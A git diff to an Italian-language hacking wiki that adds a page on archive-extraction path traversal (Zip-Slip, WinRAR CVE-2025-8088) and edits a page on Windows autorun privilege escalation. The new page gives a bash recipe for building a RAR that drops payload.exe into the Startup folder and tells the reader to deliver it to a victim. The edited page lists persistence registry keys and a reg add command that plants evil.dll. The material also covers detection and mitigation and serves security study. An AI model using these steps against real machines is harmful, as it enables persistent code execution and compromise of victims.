diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 68cf84961..bb1d3f659 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -79,6 +79,7 @@ # 🧙‍♂️ Generic Hacking +- [Archive Extraction Path Traversal](generic-hacking/archive-extraction-path-traversal.md) - [Brute Force - CheatSheet](generic-hacking/brute-force.md) - [Esim Javacard Exploitation](generic-hacking/esim-javacard-exploitation.md) - [Exfiltration](generic-hacking/exfiltration.md) diff --git a/src/generic-hacking/archive-extraction-path-traversal.md b/src/generic-hacking/archive-extraction-path-traversal.md new file mode 100644 index 000000000..1dc083626 --- /dev/null +++ b/src/generic-hacking/archive-extraction-path-traversal.md @@ -0,0 +1,68 @@ +# Archive Extraction Path Traversal ("Zip-Slip" / WinRAR CVE-2025-8088) + +{{#include ../banners/hacktricks-training.md}} + +## Panoramica + +Molti formati di archivio (ZIP, RAR, TAR, 7-ZIP, ecc.) consentono a ciascuna voce di portare il proprio **percorso interno**. Quando un'utilità di estrazione onora ciecamente quel percorso, un nome file creato contenente `..` o un **percorso assoluto** (ad es. `C:\Windows\System32\`) verrà scritto al di fuori della directory scelta dall'utente. Questa classe di vulnerabilità è ampiamente conosciuta come *Zip-Slip* o **traversata del percorso di estrazione dell'archivio**. + +Le conseguenze variano dalla sovrascrittura di file arbitrari al raggiungimento diretto dell'**esecuzione remota di codice (RCE)** depositando un payload in una posizione **auto-eseguibile** come la cartella *Startup* di Windows. + +## Causa principale + +1. L'attaccante crea un archivio in cui uno o più header di file contengono: +* Sequenze di traversata relative (`..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe`) +* Percorsi assoluti (`C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe`) +2. La vittima estrae l'archivio con uno strumento vulnerabile che si fida del percorso incorporato invece di sanificarlo o forzare l'estrazione sotto la directory scelta. +3. Il file viene scritto nella posizione controllata dall'attaccante ed eseguito/caricato la prossima volta che il sistema o l'utente attiva quel percorso. + +## Esempio reale – WinRAR ≤ 7.12 (CVE-2025-8088) + +WinRAR per Windows (inclusi il CLI `rar` / `unrar`, la DLL e la sorgente portatile) non è riuscito a convalidare i nomi dei file durante l'estrazione. Un archivio RAR malevolo contenente un'entrata come: +```text +..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe +``` +finirebbe **fuori** dalla directory di output selezionata e all'interno della cartella *Startup* dell'utente. Dopo il login, Windows esegue automaticamente tutto ciò che è presente lì, fornendo RCE *persistente*. + +### Creazione di un PoC Archive (Linux/Mac) +```bash +# Requires rar >= 6.x +mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup" +cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" +rar a -ep evil.rar evil/* +``` +Opzioni utilizzate: +* `-ep` – memorizza i percorsi dei file esattamente come forniti (non **potare** il `./` iniziale). + +Consegnare `evil.rar` alla vittima e istruirla a estrarlo con una versione vulnerabile di WinRAR. + +### Sfruttamento Osservato nel Mondo Reale + +ESET ha segnalato campagne di spear-phishing RomCom (Storm-0978/UNC2596) che allegavano archivi RAR abusando di CVE-2025-8088 per distribuire backdoor personalizzate e facilitare operazioni di ransomware. + +## Suggerimenti per la Rilevazione + +* **Ispezione statica** – Elencare le voci dell'archivio e contrassegnare qualsiasi nome contenente `../`, `..\\`, *percorsi assoluti* (`C:`) o codifiche UTF-8/UTF-16 non canoniche. +* **Estrazione in sandbox** – Decomprimere in una directory usa e getta utilizzando un estrattore *sicuro* (ad es., `patool` di Python, 7-Zip ≥ ultima versione, `bsdtar`) e verificare che i percorsi risultanti rimangano all'interno della directory. +* **Monitoraggio degli endpoint** – Allertare su nuovi eseguibili scritti nelle posizioni `Startup`/`Run` poco dopo che un archivio è stato aperto da WinRAR/7-Zip/etc. + +## Mitigazione e Indurimento + +1. **Aggiornare l'estrattore** – WinRAR 7.13 implementa una corretta sanificazione dei percorsi. Gli utenti devono scaricarlo manualmente perché WinRAR non dispone di un meccanismo di aggiornamento automatico. +2. Estrarre archivi con l'opzione **“Ignora percorsi”** (WinRAR: *Estrai → "Non estrarre percorsi"*) quando possibile. +3. Aprire archivi non fidati **all'interno di una sandbox** o VM. +4. Implementare il whitelisting delle applicazioni e limitare l'accesso in scrittura degli utenti alle directory di auto-esecuzione. + +## Casi Aggiuntivi / Storici Colpiti + +* 2018 – Massiva avviso *Zip-Slip* da Snyk che colpisce molte librerie Java/Go/JS. +* 2023 – 7-Zip CVE-2023-4011 simile traversale durante la fusione `-ao`. +* Qualsiasi logica di estrazione personalizzata che non chiama `PathCanonicalize` / `realpath` prima della scrittura. + +## Riferimenti + +- [BleepingComputer – WinRAR zero-day sfruttato per piantare malware durante l'estrazione degli archivi](https://www.bleepingcomputer.com/news/security/winrar-zero-day-flaw-exploited-by-romcom-hackers-in-phishing-attacks/) +- [WinRAR 7.13 Changelog](https://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=283&cHash=a64b4a8f662d3639dec8d65f47bc93c5) +- [Snyk – Scrittura sulla vulnerabilità Zip Slip](https://snyk.io/research/zip-slip-vulnerability) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md index b56ba88ff..3d7bc67a3 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md @@ -1,4 +1,4 @@ -# Elevazione dei privilegi con Autoruns +# Privilege Escalation with Autoruns {{#include ../../banners/hacktricks-training.md}} @@ -26,7 +26,7 @@ schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgro ``` ## Cartelle -Tutti i binari situati nelle **cartelle di avvio verranno eseguiti all'avvio**. Le cartelle di avvio comuni sono quelle elencate di seguito, ma la cartella di avvio è indicata nel registro. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path) +Tutti i file binari situati nelle **cartelle di avvio verranno eseguiti all'avvio**. Le comuni cartelle di avvio sono quelle elencate di seguito, ma la cartella di avvio è indicata nel registro. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path) ```bash dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul @@ -35,14 +35,22 @@ dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup" Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" ``` +> **FYI**: Le vulnerabilità di *path traversal* nell'estrazione di archivi (come quella sfruttata in WinRAR prima della versione 7.13 – CVE-2025-8088) possono essere utilizzate per **depositare payload direttamente all'interno di queste cartelle di avvio durante la decompressione**, risultando in un'esecuzione di codice al successivo accesso dell'utente. Per un approfondimento su questa tecnica, vedere: + +{{#ref}} +../../generic-hacking/archive-extraction-path-traversal.md +{{#endref}} + + + ## Registro -> [!NOTE] -> [Nota da qui](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): L'entry di registro **Wow6432Node** indica che stai eseguendo una versione di Windows a 64 bit. Il sistema operativo utilizza questa chiave per visualizzare una vista separata di HKEY_LOCAL_MACHINE\SOFTWARE per le applicazioni a 32 bit che girano su versioni di Windows a 64 bit. +> [!TIP] +> [Nota da qui](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): L'entrata di registro **Wow6432Node** indica che stai eseguendo una versione di Windows a 64 bit. Il sistema operativo utilizza questa chiave per visualizzare una vista separata di HKEY_LOCAL_MACHINE\SOFTWARE per le applicazioni a 32 bit che girano su versioni di Windows a 64 bit. ### Esecuzioni -**Conosciuto comunemente** registro AutoRun: +Registro AutoRun **comunemente conosciuto**: - `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` - `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce` @@ -74,15 +82,15 @@ Le chiavi di registro conosciute come **Run** e **RunOnce** sono progettate per - `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx` - `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx` -Su Windows Vista e versioni successive, le chiavi di registro **Run** e **RunOnce** non vengono generate automaticamente. Le voci in queste chiavi possono avviare direttamente programmi o specificarli come dipendenze. Ad esempio, per caricare un file DLL all'accesso, si potrebbe utilizzare la chiave di registro **RunOnceEx** insieme a una chiave "Depend". Questo è dimostrato aggiungendo un'entry di registro per eseguire "C:\temp\evil.dll" durante l'avvio del sistema: +Su Windows Vista e versioni successive, le chiavi di registro **Run** e **RunOnce** non vengono generate automaticamente. Le voci in queste chiavi possono avviare direttamente programmi o specificarli come dipendenze. Ad esempio, per caricare un file DLL all'accesso, si potrebbe utilizzare la chiave di registro **RunOnceEx** insieme a una chiave "Depend". Questo è dimostrato aggiungendo un'entrata di registro per eseguire "C:\temp\evil.dll" durante l'avvio del sistema: ``` reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll" ``` -> [!NOTE] +> [!TIP] > **Exploit 1**: Se puoi scrivere all'interno di uno dei registri menzionati in **HKLM**, puoi elevare i privilegi quando un altro utente accede. -> [!NOTE] -> **Exploit 2**: Se puoi sovrascrivere uno dei binari indicati in uno dei registri in **HKLM**, puoi modificare quel binario con una backdoor quando un altro utente accede ed elevare i privilegi. +> [!TIP] +> **Exploit 2**: Se puoi sovrascrivere uno dei binari indicati in uno dei registri all'interno di **HKLM**, puoi modificare quel binario con una backdoor quando un altro utente accede ed elevare i privilegi. ```bash #CMD reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run @@ -138,17 +146,17 @@ Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\Ru Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\RunOnceEx' Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx' ``` -### Percorso di Avvio +### Startup Path - `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders` - `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders` - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders` - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders` -I collegamenti posizionati nella cartella **Avvio** attiveranno automaticamente servizi o applicazioni all'accesso dell'utente o al riavvio del sistema. La posizione della cartella **Avvio** è definita nel registro sia per l'ambito **Macchina Locale** che per l'**Utente Corrente**. Ciò significa che qualsiasi collegamento aggiunto a queste posizioni **Avvio** specificate garantirà che il servizio o il programma collegato si avvii dopo il processo di accesso o riavvio, rendendolo un metodo semplice per programmare l'esecuzione automatica dei programmi. +I collegamenti posizionati nella cartella **Startup** attiveranno automaticamente servizi o applicazioni all'accesso dell'utente o al riavvio del sistema. La posizione della cartella **Startup** è definita nel registro sia per l'ambito **Local Machine** che per l'**Current User**. Ciò significa che qualsiasi collegamento aggiunto a queste posizioni **Startup** specificate garantirà che il servizio o il programma collegato si avvii dopo il processo di accesso o riavvio, rendendolo un metodo semplice per pianificare l'esecuzione automatica dei programmi. -> [!NOTE] -> Se puoi sovrascrivere qualsiasi \[User] Shell Folder sotto **HKLM**, sarai in grado di puntarlo a una cartella controllata da te e posizionare una backdoor che verrà eseguita ogni volta che un utente accede al sistema, aumentando i privilegi. +> [!TIP] +> Se puoi sovrascrivere qualsiasi \[User] Shell Folder sotto **HKLM**, sarai in grado di puntarlo a una cartella controllata da te e posizionare una backdoor che verrà eseguita ogni volta che un utente accede al sistema, elevando i privilegi. ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup" @@ -171,7 +179,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit" Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell" ``` -> [!NOTE] +> [!TIP] > Se puoi sovrascrivere il valore del registro o il binario, sarai in grado di elevare i privilegi. ### Impostazioni della Politica @@ -190,7 +198,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion ### Modifica del Prompt dei Comandi in Modalità Provvisoria -Nel Registro di Windows sotto `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`, c'è un valore **`AlternateShell`** impostato per impostazione predefinita su `cmd.exe`. Questo significa che quando scegli "Modalità Provvisoria con Prompt dei Comandi" durante l'avvio (premendo F8), viene utilizzato `cmd.exe`. Tuttavia, è possibile configurare il computer per avviarsi automaticamente in questa modalità senza dover premere F8 e selezionarla manualmente. +Nel Registro di Windows sotto `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`, c'è un valore **`AlternateShell`** impostato per default su `cmd.exe`. Questo significa che quando scegli "Modalità Provvisoria con Prompt dei Comandi" durante l'avvio (premendo F8), viene utilizzato `cmd.exe`. Tuttavia, è possibile configurare il computer per avviarsi automaticamente in questa modalità senza dover premere F8 e selezionarla manualmente. Passaggi per creare un'opzione di avvio per avviarsi automaticamente in "Modalità Provvisoria con Prompt dei Comandi": @@ -200,7 +208,7 @@ Passaggi per creare un'opzione di avvio per avviarsi automaticamente in "Modalit 4. Salva le modifiche a `boot.ini`. 5. Ripristina gli attributi originali del file: `attrib c:\boot.ini +r +s +h` -- **Exploit 1:** Modificare la chiave di registro **AlternateShell** consente di configurare una shell di comando personalizzata, potenzialmente per accesso non autorizzato. +- **Exploit 1:** Modificare la chiave di registro **AlternateShell** consente di configurare un shell di comando personalizzata, potenzialmente per accesso non autorizzato. - **Exploit 2 (Permessi di Scrittura nel PATH):** Avere permessi di scrittura su qualsiasi parte della variabile di sistema **PATH**, specialmente prima di `C:\Windows\system32`, consente di eseguire un `cmd.exe` personalizzato, che potrebbe essere una backdoor se il sistema viene avviato in Modalità Provvisoria. - **Exploit 3 (Permessi di Scrittura nel PATH e boot.ini):** L'accesso in scrittura a `boot.ini` consente l'avvio automatico in Modalità Provvisoria, facilitando l'accesso non autorizzato al successivo riavvio. @@ -230,7 +238,7 @@ All'interno di queste chiavi, esistono vari sottochiavi, ciascuna corrispondente **Approfondimenti sulla Sicurezza:** - Modificare o scrivere in una chiave dove **`IsInstalled`** è impostato su `"1"` con un **`StubPath`** specifico può portare all'esecuzione non autorizzata di comandi, potenzialmente per l'escalation dei privilegi. -- Alterare il file binario a cui si fa riferimento in qualsiasi valore di **`StubPath`** potrebbe anche ottenere l'escalation dei privilegi, date sufficienti autorizzazioni. +- Alterare il file binario a cui si fa riferimento in qualsiasi valore di **`StubPath`** potrebbe anche portare a un'escalation dei privilegi, date le autorizzazioni sufficienti. Per ispezionare le configurazioni di **`StubPath`** attraverso i componenti di Active Setup, possono essere utilizzati i seguenti comandi: ```bash @@ -241,20 +249,20 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components ``` ### Browser Helper Objects -### Panoramica dei Browser Helper Objects (BHO) +### Overview of Browser Helper Objects (BHOs) -I Browser Helper Objects (BHO) sono moduli DLL che aggiungono funzionalità extra a Internet Explorer di Microsoft. Si caricano in Internet Explorer e Windows Explorer ad ogni avvio. Tuttavia, la loro esecuzione può essere bloccata impostando la chiave **NoExplorer** a 1, impedendo loro di caricarsi con le istanze di Windows Explorer. +Browser Helper Objects (BHOs) sono moduli DLL che aggiungono funzionalità extra a Microsoft Internet Explorer. Si caricano in Internet Explorer e Windows Explorer ad ogni avvio. Tuttavia, la loro esecuzione può essere bloccata impostando la chiave **NoExplorer** a 1, impedendo loro di caricarsi con le istanze di Windows Explorer. -I BHO sono compatibili con Windows 10 tramite Internet Explorer 11, ma non sono supportati in Microsoft Edge, il browser predefinito nelle versioni più recenti di Windows. +I BHOs sono compatibili con Windows 10 tramite Internet Explorer 11 ma non sono supportati in Microsoft Edge, il browser predefinito nelle versioni più recenti di Windows. -Per esplorare i BHO registrati su un sistema, puoi ispezionare le seguenti chiavi di registro: +Per esplorare i BHOs registrati su un sistema, puoi ispezionare le seguenti chiavi di registro: - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects` - `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects` Ogni BHO è rappresentato dal suo **CLSID** nel registro, che funge da identificatore unico. Informazioni dettagliate su ciascun CLSID possono essere trovate sotto `HKLM\SOFTWARE\Classes\CLSID\{}`. -Per interrogare i BHO nel registro, possono essere utilizzati i seguenti comandi: +Per interrogare i BHOs nel registro, possono essere utilizzati i seguenti comandi: ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s @@ -276,7 +284,7 @@ reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Dr Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers' Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers' ``` -### Comando di apertura +### Open Command - `HKLM\SOFTWARE\Classes\htmlfile\shell\open\command` - `HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command`